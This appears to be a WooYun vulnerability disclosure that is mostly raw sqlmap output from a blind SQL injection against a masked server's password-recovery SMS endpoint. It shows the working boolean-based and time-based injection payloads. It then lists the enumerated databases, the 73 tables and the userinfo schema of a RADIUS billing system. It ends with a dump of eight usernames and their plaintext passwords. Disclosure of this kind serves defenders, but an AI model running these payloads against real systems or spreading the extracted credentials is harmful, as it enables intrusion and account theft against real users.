WooYun.org

**.**.**.**:8888/smsreg/sendsms.php?lostpwd=test1
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Parameter: lostpwd (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: lostpwd=test1' AND 3264=3264 AND 'yulr'='yulr
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind (SELECT)
Payload: lostpwd=test1' AND (SELECT * FROM (SELECT(SLEEP(5)))mFxa) AND 'neJY
'='neJY
---
[20:12:50] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.5.4
back-end DBMS: MySQL 5.0.11
[20:12:50] [INFO] fetching database names
[20:12:50] [INFO] fetching number of databases
[20:12:50] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[20:12:50] [INFO] retrieved: 6
[20:12:52] [INFO] retrieved: information_schema
[20:14:18] [INFO] retrieved: mysql
[20:14:40] [INFO] retrieved: performance_schema
[20:16:07] [INFO] retrieved: radius
[20:16:34] [INFO] retrieved: test
[20:16:55] [INFO] retrieved: tmp
available databases [6]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] radius
[*] test
[*] tmp
[20:17:13] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\**.**.**.**'
[*] shutting down at 20:17:13
Database: radius
[73 tables]
+----------------------+
| alcatel_notice |
| badusers |
| bak_acct |
| billbook |
| card |
| cardlog |
| client_notice |
| config |
| credit |
| cron |
| finance |
| ftpConfig |
| grade |
| guestbook |
| ip2ros |
| ippool |
| ippool_tmp |
| loginlog |
| manager |
| managergroup |
| managerpermision |
| maturity_notice |
| message |
| messageconfig |
| mtotacct |
| nas |
| njtn_fttx |
| njtn_scantime_isrun |
| njtnagent |
| njtnagent_loginlog |
| njtnagent_opagentlog |
| njtnagent_update |
| njtnagent_userlog |
| njtnagentpermission |
| njtnbaoxiu |
| njtnhuifang |
| njtnregion |
| orderinfo |
| orderlog |
| orderrefund |
| paymen |
| paymen_user |
| product |
| productandproject |
| project |
| project_ros |
| publicnotice |
| radacct |
| radcheck |
| radgroupcheck |
| radgroupreply |
| radpostauth |
| radpostout |
| radreply |
| repair |
| repairdisposal |
| ros_notice |
| runinfo |
| sendmailConfig |
| speedrule |
| sync_mysql |
| systemlog |
| tbConfig |
| test |
| ticket |
| tmpusers |
| totacct |
| userattribute |
| userbill |
| usergroup |
| userinfo |
| userlog |
| userrun |
+----------------------+
Database: radius
Table: usergroup
[3 columns]
+-----------+-------------+
| Column | Type |
+-----------+-------------+
| GroupName | varchar(64) |
| priority | int(11) |
| UserName | varchar(64) |
+-----------+-------------+
Database: radius
Table: userinfo
[34 columns]
+---------------+---------------------+
| Column | Type |
+---------------+---------------------+
| accept_name | varchar(255) |
| account | varchar(256) |
| adddatetime | datetime |
| address | varchar(256) |
| area1id | int(16) unsigned |
| area2id | int(16) unsigned |
| areaID | int(16) |
| birthday | date |
| cardid | varchar(256) |
| checkout | varchar(32) |
| closedatetime | datetime |
| email | varchar(256) |
| fttx | tinyint(3) unsigned |
| gradeID | int(4) |
| homephone | varchar(256) |
| ID | int(16) unsigned |
| isactive | tinyint(3) unsigned |
| MAC | varchar(256) |
| mobile | varchar(256) |
| money | int(16) |
| name | varchar(32) |
| NAS_IP | varchar(50) |
| onlinetime | int(16) |
| password | varchar(32) |
| pledgemoney | varchar(16) |
| projectID | int(16) |
| receipt | varchar(256) |
| remark | varchar(256) |
| sex | varchar(6) |
| status | varchar(255) |
| UserName | varchar(256) |
| VLAN | varchar(1024) |
| workphone | varchar(256) |
| zjry | varchar(256) |
+---------------+---------------------+
Database: radius
Table: userinfo
[8 entries]
+-------------+------------+
| UserName | password |
+-------------+------------+
| 14428932598 | 191289 |
| 14428934225 | 412715 |
| 14429081973 | 780474 |
| 14429864980 | 196089 |
| 14429867156 | 391113 |
| 14430637829 | 873878 |
| test0 | test123456 |
| test1 | test123456 |
+-------------+------------+